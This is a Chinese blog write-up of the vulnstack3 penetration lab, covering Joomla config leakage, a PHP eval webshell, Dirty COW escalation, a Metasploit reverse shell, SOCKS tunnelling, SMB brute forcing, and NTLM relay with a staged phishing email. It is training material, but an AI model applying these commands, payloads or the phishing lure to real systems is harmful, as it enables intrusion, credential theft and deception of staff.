星星博客 »  > 

红日安全ATT&CK靶机实战系列之vulnstack3

声明

好好学习,天天向上

环境配置

下载地址,直接进去用百度云,没有会员也下的非常快

http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

边下载着,可以开始vmware的网络配置

有两个网段,外网网段是我自己设置的桥接模式192.168.31.1/24,内网网段,vmware加一个网卡VMnet2,192.168.93.1/24

外网的centos和kali直接都用桥接宿主机的网卡自动获取了,centos需要第一时间进去service network restart

然后内网那几台都不用改,就用加的网卡就好了

我还自己恢复了一下虚拟机自带的快照,看了看作者的心路历程,作者以前就是用的192.168.1.0/24搭建的,怪不得是这个网段,所以我们打开5台虚机配好网络后,最好打一个我们自己的快照

在这里插入图片描述

环境配置到此结束

战斗

Web渗透

信息收集

kali扫描存活

arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24

在这里插入图片描述

扫描详细信息

nmap -T4 -A 192.168.31.53 -p 1-65535 -oN nmap.A

在这里插入图片描述

开了22,80,3306,先搞80的web,看样子是CMS三巨头之一joomla

Web后台

访问

http://192.168.31.53

在这里插入图片描述

joomlascan扫一下吧

apt-get install joomlascan
joomscan -u http://192.168.31.53

没扫到漏洞,扫到了一个配置

在这里插入图片描述

访问一下

http://192.168.31.53/configuration.php~

拷贝出来整理一下,搜索pass关键字,发现了数据库的信息,如下星号包围的位置

请稍候访问。'; 
public $display_offline_message = '1'; 
public $offline_image = ''; 
public $sitename = 'test'; 
public $editor = 'tinymce'; 
public $captcha = '0'; 
public $list_limit = '20'; 
public $access = '1'; public $debug = '0'; 
public $debug_lang = '0'; 
public $debug_lang_const = '1';
*****
public $dbtype = 'mysqli'; 
public $host = 'localhost'; 
public $user = 'testuser'; 
public $password = 'cvcvgjASD!@'; 
*****
public $db = 'joomla'; 
public $dbprefix = 'am2zu_'; 
public $live_site = ''; 
public $secret = 'gXN9Wbpk7ef3A4Ys'; 
public $gzip = '0'; 
public $error_reporting = 'default'; 
public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}'; 
public $ftp_host = ''; public $ftp_port = ''; 
public $ftp_user = ''; 
public $ftp_pass = ''; 
public $ftp_root = ''; 
public $ftp_enable = '0'; 
public $offset = 'UTC'; 
public $mailonline = '1'; 
public $mailer = 'mail'; 
public $mailfrom = 'test@test.com'; 
public $fromname = 'test'; 
public $sendmail = '/usr/sbin/sendmail'; 
public $smtpauth = '0'; 
public $smtpuser = ''; 
public $smtppass = ''; 
public $smtphost = 'localhost'; 
public $smtpsecure = 'none'; 
public $smtpport = '25'; 
public $caching = '0'; 
public $cache_handler = 'file'; 
public $cachetime = '15'; 
public $cache_platformprefix = '0'; 
public $MetaDesc = ''; 
public $MetaKeys = ''; 
public $MetaTitle = '1'; 
public $MetaAuthor = '1'; 
public $MetaVersion = '0'; 
public $robots = ''; 
public $sef = '1'; 
public $sef_rewrite = '0'; 
public $sef_suffix = '0'; 
public $unicodeslugs = '0'; 
public $feed_limit = '10'; 
public $feed_email = 'none'; 
public $log_path = '/var/www/html/administrator/logs'; 
public $tmp_path = '/var/www/html/tmp'; 
public $lifetime = '15'; 
public $session_handler = 'database'; 
public $shared_session = '0'; }

访问joomla的后台地址,刚刚nmap和joomlascan已经告诉我们了,输入testuser/cvcvgjASD!@,耻辱了

http://192.168.31.53/administrator/

在这里插入图片描述

web登不上,mysql总能登上吧,再开一台win7吧

在这里插入图片描述

终于在am2zu_users表中看到了超管用户,不过翻了很多张带有user字眼的表,都是明显做过加密的,所以就算我拿到了也是密文,有一个思路就是,我本地搭建一个joomla,注册一个用户,在数据库拿到那个用户加密后的密码,这样在这里替换,就可以登录,其实就和window的sum是一个道理,还有直接执行mysql命令,添加一个用户

在这里插入图片描述

参考,增加一个admin2,密码为secret的超级管理员

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

我这里报错了,先修改一下sqlmod的值

SET sql_mode=(SELECT REPLACE(@@sql_mode,'ONLY_FULL_GROUP_BY',''));

再执行这两句加账户

INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

就不会再报错了

在这里插入图片描述

也算是加进去了

在这里插入图片描述

使用admin2/secret登录刚刚的后台

拿下web后台权限

在这里插入图片描述

shell

其实拿到了web的权限,离shell还会远吗?会的!

不过像这种CMS,很多模板注入,就是可以加一个php文件之类的,我们就可以连webshell

比如,就找Templates的字眼

在这里插入图片描述

在这里插入图片描述

eval($_POST["cmd"]);

在这里插入图片描述

浏览器打开这个index.php看一下,访问啥都没有,但是没报错,那应该就是某问题

http://192.168.31.53/templates/beez3/index.php

在这里插入图片描述

蚁剑连接一下,发现执行命令失败了

在这里插入图片描述

查了一下, 原来是php中开启了disable_functions选项,果断在刚刚一句话上加了phpinfo看一下, 确实禁用了很多函数

在这里插入图片描述

蚁剑商店有专门的的bypass插件,安装一下

在这里插入图片描述

在这里插入图片描述

加载一下

在这里插入图片描述

选择模式,选了第四个点开始就成功了,不行的话挨个试

在这里插入图片描述

绕过后,会自动弹出一个shell,直接拿到的是93段的内网地址的shell,这就很奇怪了,我们不是目标是31.53吗,怎么突然到了93.120这里了

在这里插入图片描述

先用uname一看是个linux的,既然直接打入内网了,需要进行信息收集了

uname -a    # 获取所有版本信息
uname -m    # 获取Linux内核架构
cat /proc/version    # 获取内核信息 
cat /etc/*-release   # 发布信息
cat /etc/issue    # 发布信息
hostname    # 获取主机名
cat /etc/passwd    # 列出系统所有用户 
cat /etc/group    # 列出系统所有组 
w    # 查看目前登录的用户
whoami    # 查看当前用户 
id    # 查看当前用户信息 
sudo -l    # 列出目前用户可执行与无法执行的指令 
ps aux    # 查看进程信息 
ls -la /etc/cron*    # 查看计划任务
ifconfig -a    # 列出网络接口信息 
cat /etc/network/interfaces    # 列出网络接口信息 
arp -a    # 查看系统arp表 
route    # 打印路由信息
netstat -anplt    # 打印本地端口开放信息 
iptables -L    # 列出iptable的配置规则
目标主机为Ubuntu16
192.168.93.0/24的网段
主机的IP却为192.168.93.120
www权限

随便搜一搜

在/tmp/mysql目录里面发现了一个test.txt文件,在里面发现了一组用户名和密码(wwwuser/wwwuser_123Aqx)

在这里插入图片描述

于是就想到了这台网关外网服务器,之前扫描端口是开启了22的,ssh过去试一下,这台服务器就是我们访问web服务器的那台,应该就是最外层的服务器

在这里插入图片描述

那为什么我们webshell拿到的是内网的呢,原因是做了一层代理

在这里插入图片描述

在这里插入图片描述

所以现在共拿下了两台服务器

对外提供反向代理nginx的centos
IP1:192.168.31.53
IP2:192.168.93.100

内网nginx代理过来的真正web服务的ubuntu
IP1:192.168.93.120

权限维持/提升

一台一台来吧

对于centos先试试脏牛提权

下载下来c文件,上传到centos上编译生成脚本

git clone https://github.com/FireFart/dirtycow.git
scp /app/vulnstack/3/dirtycow/dirty.c wwwuser@192.168.31.53:/home/wwwuser
wwwuser_123Aqx
gcc -pthread dirty.c -o dirty -lcrypt

执行脚本生成用户

./dirty 123456

在这里插入图片描述

su firefart

在这里插入图片描述

这样就拿到了一个ssh的root权限

msf上线

use exploit/multi/script/web_delivery
set target 7    # 选择目标系统,不知道的show targets一下
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.31.96
set lport 6666
exploit

在这里插入图片描述

执行后会生成一段代码,在centos上执行即可

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

msf路由转发,让msf进入内网93段

sock5代理,让kali进入内网93段

msf路由转发

route print
route add 192.168.93.0 255.255.255.0 1
route print

在这里插入图片描述

sock5代理,使用ew

用到的linux64版的,因为centos和kali都是linux64

kali执行

./ew_for_linux64 -s rcsocks -l 1080 -e 1234
scp /app/tools/ew-master/ew_for_linux64 firefart@192.168.31.53:/tmp/

centos执行

nohup ./ew_for_linux64 -s rssocks -d 192.168.31.96 -e 1234 &

在这里插入图片描述

在这里插入图片描述

修改proxychains

vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

在这里插入图片描述

内网渗透

信息收集

可以先使用msf进行一波存活扫描

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run

肉眼可见的三台10,20,30

在这里插入图片描述

显然这三台和ubuntu都是93段的内网服务器,现在可以列一下了

centos
192.168.31.53
192.168.93.100
nginx代理到ubuntu上

ubuntu
192.168.93.120
web服务

三台内网
192.168.93.10
192.168.93.20
192.168.93.30

既然拿到了就扫描一下,用proxychains,nmap需要加Pn和sT

proxychains4 nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F
192.168.93.10
win2008-2012
192.168.93.20
win2008
192.168.93.30
win7-10

在这里插入图片描述

在这里插入图片描述

横向渗透

接下来可以进行爆破,看网上有大佬是爆破出来

在这里学一学大佬的钓鱼思路NTLM Relay 攻击

在局域网中构造一个钓鱼网页,并诱导域用户访问

域用户访问后,smbrelayx.py 会抓取用户 的 Net-NTLM Hash 重放给内网中的另一台机器

紧接着重放给另一台机器执行木马,拿到shell

钓鱼服务器就还是选亲爱的centos吧

下载impacket工具,并上传到centos上面

git clone https://github.com/SecureAuthCorp/impacket.git
scp -r /app/tools/impacket/ firefart@192.168.31.53:/tmp/

kali生成木马并上传到centos上面

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.31.96 LPORT=6777 -e x86/shikata_ga_nai -f exe -o /app/vulnstack/3/shell.exe
scp /app/vulnstack/3/shell.exe firefart@192.168.31.53:/tmp/

在这里插入图片描述

在这里插入图片描述

centos进入Impacket的examples目录执行

./smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
# 192.168.93.20 为要重放的目标主机

上面的过程其实很艰难,因为目标机centos只有python2,python2.6,然而又不带pip环境

python环境大家都懂,所以我要向运行成功smbrelayx.py这个脚本,首先得完善centos上的python环境,我看了大佬用的是2.7,但是官网上写的也2.7和3都支持,我就直接用3.6吧,这里就考验在陌生环境重新搭建一个属于我们可以放飞的python了

我这里也是参考了一下我以前搭建elastalert用的python3环境

这里需要注意一下,如果centos从git上或者wget上半天都下载失败,不要死磕,我们都已经有scp了,在kali上下载完上传上去也不是不行,虽然我的python包,shell.exe,pip包都是kali上下载完,scp上去的

wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
tar xf Python-3.6.9.tgz
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl
make && make install

ln -s /usr/local/python/bin/python3 /usr/bin/python3
ln -s /usr/local/python/bin/pip3 /usr/bin/pip

这里就要注意了,我是把python3环境链接到python3命令上了,所以

python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe

但是python脚本执行,一般都会报错(运行一次,看报什么错,然后安装,再运行,再安装,直到能跑通)

某某某模块不存在,这个时候就要使用pip安装,那么用pip安装又会报错,这里会报两个错

一个就是pip的版本问题,pip的版本联网更新有点问题,所以需要采用离线手动更新,就是去pypi上下一个最新的pip包,然后python安装一下

另一个就是SSL证书信任问题,所以pip安装其他模块,一律用下面的文件

pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pycryptodomex

看一下我的安装心路历程

centos上一共安装的包

在这里插入图片描述

kali下载的基础环境,用于拷贝过去

在这里插入图片描述

kali历史命令

centos的历史命令

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

然后就那样,运行,报错,安装,直到出现了这个错误,我知道,程序跑通了,但是面临着另一个问题Address already in use

在这里插入图片描述

简单想了一下,图中有HTTP Server,看了大佬的文章应该是这个服务需要80的HTTP,而nginx的默认端口也用的80,所以想要用这个服务,就先关掉nginx的服务,再启动

nginx -s stop

在这里插入图片描述

其实我们的钓鱼服务器已经启动,按道理来说接下来就应该等鱼上钩了,但是我们这个是靶机,哪来的域用户会访问,所以接下来,我们只能自导自演了,但是我又不知道用户名密码,我怎么上钩?

首先我得爆破出一组用户名和密码吧,有的人疑惑了,都用用户名和密码,还模拟钓鱼干啥,这不是站在学习的角度,把整个流程都模拟出来,能用的方法,都学一学没什么坏处

密码字典,随便用一个top100的(反正人家最后的密码也不在这里(#.#))

https://github.com/k8gege/PasswordDic/

msf爆破模块

use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /app/tools/dic/pass.txt
run

我这里msf爆破总有问题,人是活的,不行我们就开代理用hydry进行smb爆破,顺便把密码加入到我我的字典里面

proxychains4 hydra -l administrator -P /app/tools/dic/pass.txt smb://192.168.93.20 -vV

在这里插入图片描述

用户名密码

administrator/123qwe!ASD

现在我们就可以告知社工组,想办法给目标单位相关人员发个邮件,想办法让管理员上钩,邮件内容

各位同事好:
	现接到某某某通知,需要登录服务器进行用户验证,看到通知的同事请立马登录服务器,验证自己的用户是否异常,有问题随时沟通。
	服务器地址如下:
	http://192.168.93.100

然后假如我现在是一名安全意识很差的工程师,就以30的win7为例吧,看到了这个邮件,谁都不问,也不找相关方确认,就直接访问

http://192.168.93.100

乍一看,哦,原来需要我登录看看用户是不是异常或者过期,那我就登录吧

在这里插入图片描述

这时候看一看centos上的工具

显示接收到来自30win7哥们的帮助,帮助我们一起拿下20这台服务器

在这里插入图片描述

然后我再30win7上输入用户名密码进行确认,当然在这之前,首先需要在msf进行监听,因为要反弹shell吗

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set lport 6777
set AutoRunScript post/windows/manage/migrate
run

在这里插入图片描述

windows这边点击ok

在这里插入图片描述

impacket成功拿到hash,然后利用hash登录20,然后执行shell

在这里插入图片描述

msf收到shell

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

kali下载PVEFindADUser.exe工具并上传到这台windows上

wget https://github.com/chrisdee/Tools/blob/master/AD/ADFindUsersLoggedOn/PVEFindADUser.exe
upload /app/tools/PVEFindADUser.exe C:\\Windows\\system32\\PVEFindADUser.exe
upload /app/vulnstack/3/artifact.exe C:\\111\\artifact.exe
shell
pvefinaduser.exe -current

我这里执行失败了,不过后面基本上就是和前面的差不多,上线CS,然后凭据统一拿下

其中有几个环节弄得头大,好多次才弄成,不过不稳定,只想说,毁灭吧,我累了

相关文章